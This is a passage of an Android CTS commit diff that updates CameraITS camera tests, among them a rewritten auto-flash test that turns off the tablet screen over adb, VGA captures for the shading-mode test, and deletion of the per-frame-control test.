diff options
author | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-09-23 09:56:18 +0000 |
---|---|---|
committer | Android Build Coastguard Worker <android-build-coastguard-worker@google.com> | 2022-09-23 09:56:18 +0000 |
commit | f7620885b58f458c3c59fa9cae27e4435a7c1a0e (patch) | |
tree | 690c85c0e496f770ed0416e6b56dbffdbcaecd2b | |
parent | be9166234435d5eb5c2c58730380c3d2e171b0f0 (diff) | |
parent | fb012628905ee3b3a1369bcfda2bf6c83a7b311e (diff) | |
download | cts-android13-mainline-scheduling-release.tar.gz |
Snap for 9098257 from fb012628905ee3b3a1369bcfda2bf6c83a7b311e to mainline-scheduling-releaseaml_sch_331113000aml_sch_331111000android13-mainline-scheduling-release
Change-Id: Id996ab5b7cfb4089ac10df8db52e88ff3af0e46b
634 files changed, 14959 insertions, 7439 deletions
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml index 7302e3cb1f0..b9b0ddf21ec 100644 --- a/apps/CameraITS/config.yml +++ b/apps/CameraITS/config.yml @@ -20,9 +20,9 @@ TestBeds: # Test configuration for scenes[0:4, 6, _change] Controllers: AndroidDevice: - - serial: <device_id> + - serial: <device_id> # quotes are needed if serial id is entirely numeric label: dut - - serial: <tablet_id> + - serial: <tablet_id> # quotes are needed if serial id is entirely numeric label: tablet TestParams: brightness: 192 @@ -37,7 +37,7 @@ TestBeds: # Test configuration for sensor_fusion/test_sensor_fusion.py Controllers: AndroidDevice: - - serial: <device-id> + - serial: <device-id> # quotes are needed if serial id is entirely numeric label: dut TestParams: fps: 30 @@ -45,7 +45,7 @@ TestBeds: test_length: 7 debug_mode: "False" # quotes are needed here chart_distance: 25 - rotator_cntl: <controller-type> # arduino, canakit, or as-is for manual + rotator_cntl: "arduino" # Note: only sensor fusion supports manual rotator_ch: <controller-channel> camera: <camera-id> diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py index 9b29ab72365..daa55c651d3 100644 --- a/apps/CameraITS/tests/its_base_test.py +++ b/apps/CameraITS/tests/its_base_test.py @@ -52,6 +52,8 @@ NOT_YET_MANDATED = { 'sensor_fusion': [], } +logging.getLogger('matplotlib.font_manager').disabled = True + class ItsBaseTest(base_test.BaseTestClass): """Base test for CameraITS tests. diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py index 7d8b9f2c11e..e407fd65899 100644 --- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py +++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py @@ -71,7 +71,6 @@ class EvCompensationBasicTest(its_base_test.ItsBaseTest): props = cam.get_camera_properties() props = cam.override_with_hidden_physical_camera_props(props) log_path = self.log_path - debug = self.debug_mode test_name_w_path = os.path.join(log_path, NAME) # check SKIP conditions @@ -113,11 +112,6 @@ class EvCompensationBasicTest(its_base_test.ItsBaseTest): caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt) luma_locked = [] for i, cap in enumerate(caps): - if debug: - img = image_processing_utils.convert_capture_to_rgb_image( - cap, props) - image_processing_utils.write_image( - img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg') if cap['metadata']['android.control.aeState'] == LOCKED: ev_meta = cap['metadata']['android.control.aeExposureCompensation'] logging.debug('cap EV compensation: %d', ev_meta) @@ -132,7 +126,8 @@ class EvCompensationBasicTest(its_base_test.ItsBaseTest): rel_tol=luma_locked_rtol): raise AssertionError(f'AE locked lumas: {luma_locked}, ' f'RTOL: {luma_locked_rtol}') - logging.debug('lumas in AE locked captures: %s', str(lumas)) + logging.debug('lumas per frame ev %d: %s', ev, str(luma_locked)) + logging.debug('mean lumas in AE locked captures: %s', str(lumas)) if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][ 'android.control.aeState'] != LOCKED: raise AssertionError(f'No AE lock by {THRESH_CONVERGE_FOR_EV} frame.') diff --git a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py index e3143f40d71..7fffa722b4a 100644 --- a/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py +++ b/apps/CameraITS/tests/scene1_2/test_param_shading_mode.py @@ -32,6 +32,7 @@ _NUM_SWITCH_LOOPS = 3 _SHADING_MODES = {0: 'LSC_OFF', 1: 'LSC_FAST', 2: 'LSC_HQ'} _NUM_SHADING_MODES = len(_SHADING_MODES) _THRESHOLD_DIFF_RATIO = 0.15 +_VGA_W, _VGA_H = 640, 480 def create_plots(shading_maps, reference_maps, num_map_gains, log_path): @@ -76,9 +77,8 @@ class ParamShadingModeTest(its_base_test.ItsBaseTest): Lens shading correction modes are OFF=0, FAST=1, and HQ=2. - Uses smallest yuv size matching the aspect ratio of largest yuv size to - reduce some USB bandwidth overhead since we are only looking at output - metadata in this test. + Uses VGA sized captures to reduce some USB bandwidth overhead since we are + only looking at output metadata in this test. First asserts all modes are supported. Then runs 2 captures. @@ -118,13 +118,11 @@ class ParamShadingModeTest(its_base_test.ItsBaseTest): % str(props.get('android.shading.availableModes')), [*_SHADING_MODES]) - # get smallest matching fmt + # define fmt mono_camera = camera_properties_utils.mono_camera(props) cam.do_3a(mono_camera=mono_camera) - largest_yuv_fmt = capture_request_utils.get_largest_yuv_format(props) - largest_yuv_size = (largest_yuv_fmt['width'], largest_yuv_fmt['height']) - cap_fmt = capture_request_utils.get_smallest_yuv_format( - props, match_ar=largest_yuv_size) + cap_fmt = {'format': 'yuv', 'width': _VGA_W, 'height': _VGA_H} + logging.debug('Capture format: %s', str(cap_fmt)) # cap1 reference_maps = [[] for mode in range(_NUM_SHADING_MODES)] diff --git a/apps/CameraITS/tests/scene2_a/test_auto_flash.py b/apps/CameraITS/tests/scene2_a/test_auto_flash.py index f16145da1f0..9111e80879a 100644 --- a/apps/CameraITS/tests/scene2_a/test_auto_flash.py +++ b/apps/CameraITS/tests/scene2_a/test_auto_flash.py @@ -1,4 +1,4 @@ -# Copyright 2013 The Android Open Source Project +# Copyright 2022 The Android Open Source Project # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. @@ -11,27 +11,30 @@ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. -"""Verifies android.flash.mode parameters is applied when set.""" +"""Verifies that flash is fired when lighting conditions are dark.""" import logging import os.path -from mobly import test_runner -import its_base_test import camera_properties_utils import capture_request_utils -import lighting_control_utils import image_processing_utils +import its_base_test import its_session_utils +import lighting_control_utils +from mobly import test_runner AE_MODES = {0: 'OFF', 1: 'ON', 2: 'ON_AUTO_FLASH', 3: 'ON_ALWAYS_FLASH', 4: 'ON_AUTO_FLASH_REDEYE', 5: 'ON_EXTERNAL_FLASH'} AE_STATES = {0: 'INACTIVE', 1: 'SEARCHING', 2: 'CONVERGED', 3: 'LOCKED', 4: 'FLASH_REQUIRED', 5: 'PRECAPTURE'} -_GRAD_DELTA_ATOL = 100 # gradiant for tablets as screen aborbs energy -_MEAN_DELTA_ATOL = 100 # mean used for reflective charts -_NUM_FRAMES = 8 +FLASH_STATES = {0: 'FLASH_STATE_UNAVAILABLE', 1: 'FLASH_STATE_CHARGING', + 2: 'FLASH_STATE_READY', 3: 'FLASH_STATE_FIRED', + 4: 'FLASH_STATE_PARTIAL'} +_GRAD_DELTA_ATOL = 15 # gradiant for tablets as screen aborbs energy +_MEAN_DELTA_ATOL = 15 # mean used for reflective charts + _PATCH_H = 0.25 # center 25% _PATCH_W = 0.25 _PATCH_X = 0.5 - _PATCH_W/2 @@ -40,27 +43,60 @@ _TEST_NAME = os.path.splitext(os.path.basename(__file__))[0] VGA_W, VGA_H = 640, 480 _CAPTURE_INTENT_STILL_CAPTURE = 2 _AE_MODE_ON_AUTO_FLASH = 2 - - -def take_captures(cam, auto_flash=False): - req = capture_request_utils.auto_capture_request() - req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE - if auto_flash: - req['android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH - fmt = {'format': 'yuv', 'width': VGA_W, 'height': VGA_H} - captures = [] - for _ in range(_NUM_FRAMES): - one_capture = cam.do_capture(req, fmt) - captures.append(one_capture) - return captures +_CAPTURE_INTENT_PREVIEW = 1 +_CAPTURE_INTENT_STILL_CAPTURE = 2 +_AE_PRECAPTURE_TRIGGER_START = 1 +_AE_PRECAPTURE_TRIGGER_IDLE = 0 + + +def turn_off_tablet(tablet_device): + output = tablet_device.adb.shell('dumpsys display | grep mScreenState') + output_list = str(output.decode('utf-8')).strip().split(' ') + for val in output_list: + if 'ON' in val: + tablet_device.adb.shell(['input', 'keyevent', 'KEYCODE_POWER']) + + +def take_captures_with_flash(cam, fmt): + # Run precapture sequence by setting the aePrecapture trigger to + # START and capture intent set to Preview. + preview_req_start = capture_request_utils.auto_capture_request() + preview_req_start[ + 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH + preview_req_start[ + 'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW + preview_req_start[ + 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_START + # Repeat preview requests with aePrecapture set to IDLE + # until AE is converged. + preview_req_idle = capture_request_utils.auto_capture_request() + preview_req_idle[ + 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH + preview_req_idle[ + 'android.control.captureIntent'] = _CAPTURE_INTENT_PREVIEW + preview_req_idle[ + 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE + # Single still capture request. + still_capture_req = capture_request_utils.auto_capture_request() + still_capture_req[ + 'android.control.aeMode'] = _AE_MODE_ON_AUTO_FLASH + still_capture_req[ + 'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE + still_capture_req[ + 'android.control.aePrecaptureTrigger'] = _AE_PRECAPTURE_TRIGGER_IDLE + cap = cam.do_capture_with_flash(preview_req_start, + preview_req_idle, + still_capture_req, fmt) + return cap class AutoFlashTest(its_base_test.ItsBaseTest): - """Test that the android.flash.mode parameter is applied.""" + """Test that flash is fired when lighting conditions are dark.""" def test_auto_flash(self): logging.debug('AE_MODES: %s', str(AE_MODES)) logging.debug('AE_STATES: %s', str(AE_STATES)) + logging.debug('FLASH_STATES: %s', str(FLASH_STATES)) with its_session_utils.ItsSession( device_id=self.dut.serial, @@ -71,10 +107,10 @@ class AutoFlashTest(its_base_test.ItsBaseTest): test_name = os.path.join(self.log_path, _TEST_NAME) # check SKIP conditions - first_api_level = its_session_utils.get_first_api_level(self.dut.serial) + vendor_api_level = its_session_utils.get_vendor_api_level(self.dut.serial) camera_properties_utils.skip_unless( camera_properties_utils.flash(props) and - first_api_level >= its_session_utils.ANDROID13_API_LEVEL) + vendor_api_level >= its_session_utils.ANDROID13_API_LEVEL) # establish connection with lighting controller arduino_serial_port = lighting_control_utils.lighting_control( @@ -86,23 +122,22 @@ class AutoFlashTest(its_base_test.ItsBaseTest): # turn OFF tablet to darken scene if self.tablet: - output = self.tablet.adb.shell('dumpsys display | grep mScreenState') - output_list = str(output.decode('utf-8')).strip().split(' ') - for val in output_list: - if 'ON' in val: - self.tablet.adb.shell(['input', 'keyevent', 'KEYCODE_POWER']) - + turn_off_tablet(self.tablet) + fmt_name = 'jpeg' + fmt = {'format': fmt_name} + logging.debug('Testing %s format.', fmt_name) no_flash_exp_x_iso = 0 no_flash_mean = 0 no_flash_grad = 0 flash_exp_x_iso = [] - flash_means = [] - flash_grads = [] - # take captures with no flash as baseline: use last frame - logging.debug('Taking reference frame(s) with no flash.') + # take capture with no flash as baseline + logging.debug('Taking reference frame with no flash.') cam.do_3a(do_af=False) - cap = take_captures(cam)[_NUM_FRAMES-1] + no_flash_req = capture_request_utils.auto_capture_request() + no_flash_req[ + 'android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE + cap = cam.do_capture(no_flash_req, fmt) metadata = cap['metadata'] exp = int(metadata['android.sensor.exposureTime']) iso = int(metadata['android.sensor.sensitivity']) @@ -120,65 +155,78 @@ class AutoFlashTest(its_base_test.ItsBaseTest): patch)[0]*255 no_flash_grad = image_processing_utils.compute_image_max_gradients( patch)[0]*255 - image_processing_utils.write_image(y, f'{test_name}_no_flash_Y.jpg') + image_processing_utils.write_image( + y, f'{test_name}_{fmt_name}_no_flash_Y.jpg') # log results logging.debug('No flash exposure X ISO %d', no_flash_exp_x_iso) logging.debug('No flash Y grad: %.4f', no_flash_grad) logging.debug('No flash Y mean: %.4f', no_flash_mean) - # take captures with auto flash enabled - logging.debug('Taking frames with auto flash enabled.') - cam.do_3a(do_af=False, auto_flash=True) - caps = take_captures(cam, auto_flash=True) - - # evaluate captured images - for i in range(_NUM_FRAMES): - logging.debug('frame # %d', i) - metadata = caps[i]['metadata'] - exp = int(metadata['android.sensor.exposureTime']) - iso = int(metadata['android.sensor.sensitivity']) - logging.debug('ISO: %d, exp: %d ns', iso, exp) - logging.debug('AE_MODE (cap): %s', - AE_MODES[metadata['android.control.aeMode']]) - ae_state = AE_STATES[metadata['android.control.aeState']] - logging.debug('AE_STATE (cap): %s', ae_state) - flash_exp_x_iso.append(exp*iso) + # take capture with auto flash enabled + logging.debug('Taking capture with auto flash enabled.') + flash_fired = False + + cap = take_captures_with_flash(cam, fmt) + y, _, _ = image_processing_utils.convert_capture_to_planes( + cap, props) + # Save captured image + image_processing_utils.write_image(y, + f'{test_name}_{fmt_name}_flash_Y.jpg') + # evaluate captured image + metadata = cap['metadata'] + exp = int(metadata['android.sensor.exposureTime']) + iso = int(metadata['android.sensor.sensitivity']) + logging.debug('cap ISO: %d, exp: %d ns', iso, exp) + logging.debug('AE_MODE (cap): %s', + AE_MODES[metadata['android.control.aeMode']]) + ae_state = AE_STATES[metadata['android.control.aeState']] + logging.debug('AE_STATE (cap): %s', ae_state) + flash_state = FLASH_STATES[metadata['android.flash.state']] + logging.debug('FLASH_STATE: %s', flash_state) + if flash_state == 'FLASH_STATE_FIRED': + logging.debug('Flash fired') + flash_fired = True + flash_exp_x_iso = exp*iso y, _, _ = image_processing_utils.convert_capture_to_planes( - caps[i], props) + cap, props) patch = image_processing_utils.get_image_patch( y, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H) - flash_means.append( - image_processing_utils.compute_image_means(patch)[0]*255) - flash_grads.append( - image_processing_utils.compute_image_max_gradients(patch)[0]*255) + flash_mean = image_processing_utils.compute_image_means( + patch)[0]*255 + flash_grad = image_processing_utils.compute_image_max_gradients( + patch)[0]*255 - image_processing_utils.write_image( - y, f'{test_name}_auto_flash_Y_{i}.jpg') - - if i == 0: - if ae_state != AE_STATES[4]: # FLASH_REQUIRED - raise AssertionError('Scene not dark enough to trigger auto-flash. ' - 'Check scene.') + if not flash_fired: + raise AssertionError('Flash was not fired.') # log results - logging.debug('Flash exposure X ISOs %s', str(flash_exp_x_iso)) - logging.debug('Flash frames Y grads: %s', str(flash_grads)) - logging.debug('Flash frames Y means: %s', str(flash_means)) - - # turn lights back ON - lighting_control_utils.set_lighting_state( - arduino_serial_port, self.lighting_ch, 'ON') + logging.debug('Flash exposure X ISO %d', flash_exp_x_iso) + logging.debug('Flash frames Y grad: %.4f', flash_grad) + logging.debug('Flash frames Y mean: %.4f', flash_mean) # assert correct behavior - grad_delta = max(flash_grads) - no_flash_grad - mean_delta = max(flash_means) - no_flash_mean + grad_delta = flash_grad - no_flash_grad + mean_delta = flash_mean - no_flash_mean if not (grad_delta > _GRAD_DELTA_ATOL or mean_delta > _MEAN_DELTA_ATOL): raise AssertionError( f'grad FLASH-OFF: {grad_delta:.3f}, ATOL: {_GRAD_DELTA_ATOL}, ' f'mean FLASH-OFF: {mean_delta:.3f}, ATOL: {_MEAN_DELTA_ATOL}') + # Ensure that the flash is turned OFF after flash was fired. + req = capture_request_utils.auto_capture_request() + req['android.control.captureIntent'] = _CAPTURE_INTENT_STILL_CAPTURE + cap = cam.do_capture(req, fmt) + flash_state_after = FLASH_STATES[cap['metadata']['android.flash.state']] + logging.debug('FLASH_STATE after flash fired: %s', flash_state_after) + if flash_state_after != 'FLASH_STATE_READY': + raise AssertionError('Flash should turn OFF after it was fired.') + + # turn lights back ON + lighting_control_utils.set_lighting_state( + arduino_serial_port, self.lighting_ch, 'ON') + if __name__ == '__main__': test_runner.main() diff --git a/apps/CameraITS/tests/scene2_a/test_num_faces.py b/apps/CameraITS/tests/scene2_a/test_num_faces.py index 304b67b342b..f7e111bfea9 100644 --- a/apps/CameraITS/tests/scene2_a/test_num_faces.py +++ b/apps/CameraITS/tests/scene2_a/test_num_faces.py @@ -16,6 +16,8 @@ import logging import os.path + +import cv2 from mobly import test_runner import its_base_test @@ -23,7 +25,6 @@ import camera_properties_utils import capture_request_utils import image_processing_utils import its_session_utils -import cv2 FD_MODE_OFF = 0 FD_MODE_SIMPLE = 1 @@ -149,8 +150,7 @@ class NumFacesTest(its_base_test.ItsBaseTest): logging.debug('active array size: %s', str(a)) file_name_stem = os.path.join(self.log_path, NAME) - if camera_properties_utils.read_3a(props): - _, _, _, _, _ = cam.do_3a(get_results=True, mono_camera=mono_camera) + cam.do_3a(mono_camera=mono_camera) for fd_mode in fd_modes: logging.debug('face detection mode: %d', fd_mode) diff --git a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py b/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py deleted file mode 100644 index eaa553110d3..00000000000 --- a/apps/CameraITS/tests/scene2_b/test_auto_per_frame_control.py +++ /dev/null @@ -1,305 +0,0 @@ -# Copyright 2019 The Android Open Source Project -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# http://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -"""Verifies per_frame_control.""" - - -import logging -import os.path -import matplotlib -from matplotlib import pylab -from mobly import test_runner -import numpy as np - -import its_base_test -import camera_properties_utils -import capture_request_utils -import image_processing_utils -import its_session_utils - -_AE_STATE_CONVERGED = 2 -_AE_STATE_FLASH_REQUIRED = 4 -_DELTA_GAIN_THRESH = 3 # >3% gain change --> luma change in same dir. -_DELTA_LUMA_THRESH = 3 # 3% frame-to-frame noise test_burst_sameness_manual. -_DELTA_NO_GAIN_THRESH = 1 # <1% gain change --> min luma change. -_NAME = os.path.splitext(os.path.basename(__file__))[0] -_NS_TO_MS = 1.0E-6 -_NUM_CAPS = 1 -_NUM_FRAMES = 30 -_PATCH_H = 0.1 # Center 10%. -_PATCH_W = 0.1 -_PATCH_X = 0.5 - _PATCH_W/2 -_PATCH_Y = 0.5 - _PATCH_H/2 -_RAW_NIBBLE_SIZE = 6 # Used to increase NUM_CAPS & decrease NUM_FRAMES for RAW. -_RAW_GR_CH = 1 -_VALID_LUMA_MIN = 0.1 -_VALID_LUMA_MAX = 0.9 -_YUV_Y_CH = 0 - - -def _check_delta_luma_vs_delta_gain(fmt, j, lumas, total_gains): - """Determine if luma and gain move together for current frame.""" - delta_gain = total_gains[j] - total_gains[j-1] - delta_luma = lumas[j] - lumas[j-1] - delta_gain_rel = delta_gain / total_gains[j-1] * 100 # % - delta_luma_rel = delta_luma / lumas[j-1] * 100 # % - # luma and total_gain should change in same direction - if abs(delta_gain_rel) > _DELTA_GAIN_THRESH: - logging.debug('frame %d: %.2f%% delta gain, %.2f%% delta luma', - j, delta_gain_rel, delta_luma_rel) - if delta_gain * delta_luma < 0.0: - return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} " - f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), ' - f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%) ' - f'GAIN/LUMA OPPOSITE DIR') - elif abs(delta_gain_rel) < _DELTA_NO_GAIN_THRESH: - logging.debug('frame %d: <|%.1f%%| delta gain, %.2f%% delta luma', j, - _DELTA_NO_GAIN_THRESH, delta_luma_rel) - if abs(delta_luma_rel) > _DELTA_LUMA_THRESH: - return (f"{fmt['format']}: frame {j}: gain {total_gains[j-1]:.1f} " - f'-> {total_gains[j]:.1f} ({delta_gain_rel:.1f}%), ' - f'luma {lumas[j-1]} -> {lumas[j]} ({delta_luma_rel:.2f}%), ' - f'<|{_DELTA_NO_GAIN_THRESH:.1f}%| GAIN, ' - f'>|{_DELTA_LUMA_THRESH:.1f}%| LUMA DELTA') - else: - logging.debug('frame %d: %.1f%% delta gain, %.2f%% delta luma', - j, delta_gain_rel, delta_luma_rel) - return None - - -def _determine_test_formats(cam, props, raw_avlb, debug): - """Determines the capture formats to test. - - Args: - cam: Camera capture object. - props: Camera properties dict. - raw_avlb: Boolean for if RAW captures are available. - debug: Boolean for whether in debug mode. - Returns: - fmts: List of formats. - """ - largest_yuv = capture_request_utils.get_largest_yuv_format(props) - match_ar = (largest_yuv['width'], largest_yuv['height']) - fmt = capture_request_utils.get_smallest_yuv_format( - props, match_ar=match_ar) - if raw_avlb and debug: - return (cam.CAP_RAW, fmt) - else: - return (fmt,) - - -def _tabulate_frame_data(metadata, luma, raw_cap, debug): - """Puts relevant frame data into a dictionary.""" - ae_state = metadata['android.control.aeState'] - iso = metadata['android.sensor.sensitivity'] - isp_gain = metadata['android.control.postRawSensitivityBoost'] / 100 - exp_time = metadata['android.sensor.exposureTime'] * _NS_TO_MS - total_gain = iso * exp_time - if not raw_cap: - total_gain *= isp_gain - awb_state = metadata['android.control.awbState'] - frame = { - 'awb_gains': metadata['android.colorCorrection.gains'], - 'ccm': metadata['android.colorCorrection.transform'], - 'fd': metadata['android.lens.focusDistance'], - } - - # Convert CCM from rational to float, as numpy arrays. - awb_ccm = np.array(capture_request_utils.rational_to_float( - frame['ccm'])).reshape(3, 3) - - logging.debug('AE: %d ISO: %d ISP_sen: %d exp: %4fms tot_gain: %f luma: %f', - ae_state, iso, isp_gain, exp_time, total_gain, luma) - logging.debug('fd: %f', frame['fd']) - logging.debug('AWB state: %d, AWB gains: %s\n AWB matrix: %s', awb_state, - str(frame['awb_gains']), str(awb_ccm)) - if debug: - logging.debug('Tonemap curve: %s', str(metadata['android.tonemap.curve'])) - - return frame, ae_state, total_gain - - -def _compute_frame_luma(cap, props, raw_cap): - """Determines the luma for the center patch of the frame. - - RAW captures use GR plane, YUV captures use Y plane. - - Args: - cap: Camera capture object. - props: Camera properties dict. - raw_cap: Boolean for capture is RAW or YUV. - Returns: - luma: Luma value for center patch of image. - """ - if raw_cap: - plane = image_processing_utils.convert_capture_to_planes( - cap, props=props)[_RAW_GR_CH] - else: - plane = image_processing_utils.convert_capture_to_planes(cap)[_YUV_Y_CH] - - patch = image_processing_utils.get_image_patch( - plane, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H) - return image_processing_utils.compute_image_means(patch)[0] - - -def _plot_data(lumas, gains, fmt, log_path): - """Plots lumas and gains data for this test. - - Args: - lumas: List of luma data from captures. - gains: List of gain data from captures. - fmt: String to identify 'YUV' or 'RAW' plots. - log_path: Location to store data. - """ - norm_gains = [x / max(gains) * max(lumas) for x in gains] - - pylab.figure(fmt) - pylab.plot(range(len(lumas)), lumas, '-g.', label='Center patch brightness') - pylab.plot(range(len(gains)), norm_gains, '-r.', - label='Metadata AE setting product') - pylab.title(_NAME + ' ' + fmt) - pylab.xlabel('frame index') - - # expand y axis for low delta results - ymin = min(norm_gains + lumas) - ymax = max(norm_gains + lumas) - yavg = (ymax + ymin) / 2.0 - if ymax - ymin < 3 * _DELTA_LUMA_THRESH/100: - ymin = round(yavg - 1.5 * _DELTA_LUMA_THRESH/100, 3) - ymax = round(yavg + 1.5 * _DELTA_LUMA_THRESH/100, 3) - pylab.ylim(ymin, ymax) - pylab.legend() - matplotlib.pyplot.savefig( - '%s_plot_%s.png' % (os.path.join(log_path, _NAME), fmt)) - - -def _is_awb_af_stable(cap_info, i): - """Determines if Auto White Balance and Auto Focus are stable.""" - awb_gains_i_1 = cap_info[i-1]['awb_gains'] - awb_gains_i = cap_info[i]['awb_gains'] - - return (np.allclose(awb_gains_i_1, awb_gains_i, rtol=0.01) and - cap_info[i-1]['ccm'] == cap_info[i]['ccm'] and - np.isclose(cap_info[i-1]['fd'], cap_info[i]['fd'], rtol=0.01)) - - -class AutoPerFrameControlTest(its_base_test.ItsBaseTest): - """Tests PER_FRAME_CONTROL properties for auto capture requests. - - Takes a sequence of images with auto capture request. - Determines if luma and gain settings move in same direction for large setting - changes. - Small settings changes should result in small changes in luma. - Threshold for checking is DELTA_GAIN_THRESH. Theshold where not change is - expected is DELTA_NO_GAIN_THRESH. - - While not included in this test, if camera debug is required: - MANUAL_POSTPROCESSING capability is implied since - camera_properties_utils.read_3a is valid for test. - - debug can also be performed with a defined tonemap curve: - req['android.tonemap.mode'] = 0 - gamma = sum([[i/63.0,math.pow(i/63.0,1/2.2)] for i in xrange(64)],[]) - req['android.tonemap.curve'] = {'red': gamma, 'green': gamma, - 'blue': gamma} - """ - - def test_auto_per_frame_control(self): - logging.debug('Starting %s', _NAME) - with its_session_utils.ItsSession( - device_id=self.dut.serial, - camera_id=self.camera_id, - hidden_physical_id=self.hidden_physical_id) as cam: - props = cam.get_camera_properties() - props = cam.override_with_hidden_physical_camera_props(props) - log_path = self.log_path - - # Check SKIP conditions. - camera_properties_utils.skip_unless( - camera_properties_utils.per_frame_control(props) and - camera_properties_utils.read_3a(props)) - - # Load chart for scene. - its_session_utils.load_scene( - cam, props, self.scene, self.tablet, self.chart_distance) - - debug = self.debug_mode - raw_avlb = camera_properties_utils.raw16(props) - fmts = _determine_test_formats(cam, props, raw_avlb, debug) - - failed = [] - for i, fmt in enumerate(fmts): - logging.debug('fmt: %s', str(fmt['format'])) - cam.do_3a() - req = capture_request_utils.auto_capture_request() - cap_info = {} - ae_states = [] - lumas = [] - total_gains = [] - num_caps = _NUM_CAPS - num_frames = _NUM_FRAMES - raw_cap = i == 0 and raw_avlb and debug - # Break up caps if RAW to reduce bandwidth requirements. - if raw_cap: - num_caps = _NUM_CAPS * _RAW_NIBBLE_SIZE - num_frames = _NUM_FRAMES // _RAW_NIBBLE_SIZE - - # Capture frames and tabulate info. - for j in range(num_caps): - caps = cam.do_capture([req] * num_frames, fmt) - for k, cap in enumerate(caps): - idx = k + j * num_frames - logging.debug('=========== frame %d ==========', idx) - luma = _compute_frame_luma(cap, props, raw_cap) - frame, ae_state, total_gain = _tabulate_frame_data( - cap['metadata'], luma, raw_cap, debug) - cap_info[idx] = frame - ae_states.append(ae_state) - lumas.append(luma) - total_gains.append(total_gain) - - # Save image. - img = image_processing_utils.convert_capture_to_rgb_image( - cap, props=props) - image_processing_utils.write_image(img, '%s_frame_%s_%d.jpg' % ( - os.path.join(log_path, _NAME), fmt['format'], idx)) - - _plot_data(lumas, total_gains, fmt['format'], log_path) - - # Check correct behavior - logging.debug('fmt: %s', str(fmt['format'])) - for j in range(1, num_caps * num_frames): - if _is_awb_af_stable(cap_info, j): - error_msg = _check_delta_luma_vs_delta_gain( - fmt, j, lumas, total_gains) - if error_msg: - failed.append(error_msg) - else: - logging.debug('frame %d -> %d: AWB/AF changed', j-1, j) - - for j, luma in enumerate(lumas): - if ((ae_states[j] == _AE_STATE_CONVERGED or - ae_states[j] == _AE_STATE_FLASH_REQUIRED) and - (_VALID_LUMA_MIN > luma or luma > _VALID_LUMA_MAX)): - failed.append( - f"{fmt['format']}: frame {j} AE converged luma {luma}. " - f'Valid range: ({_VALID_LUMA_MIN}, {_VALID_LUMA_MAX})' - ) - if failed: - logging.error('Error summary') - for fail in failed: - logging.error('%s', fail) - raise AssertionError - -if __name__ == '__main__': - test_runner.main() diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py index 658ec8b377e..cb5be2ae2aa 100644 --- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py +++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py @@ -27,7 +27,7 @@ CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600 # ms class CameraLaunchSPerfClassTest(its_base_test.ItsBaseTest): """Test camera launch latency for S performance class as specified in CDD. - [7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview + [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first preview frame) < 600ms as measured by the CTS camera PerformanceTest under ITS lighting conditions (3000K) for both primary cameras. """ diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py index f56d34cd5cd..fb19f2fb7c2 100644 --- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py +++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py @@ -27,7 +27,7 @@ JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000 # ms class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest): """Test jpeg capture latency for S performance class as specified in CDD. - [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p + [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p resolution as measured by the CTS camera PerformanceTest under ITS lighting conditions (3000K) for both primary cameras. """ diff --git a/apps/CameraITS/tests/scene3/test_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_edge_enhancement.py index c6a3bcbc878..c1b63c7a503 100644 --- a/apps/CameraITS/tests/scene3/test_edge_enhancement.py +++ 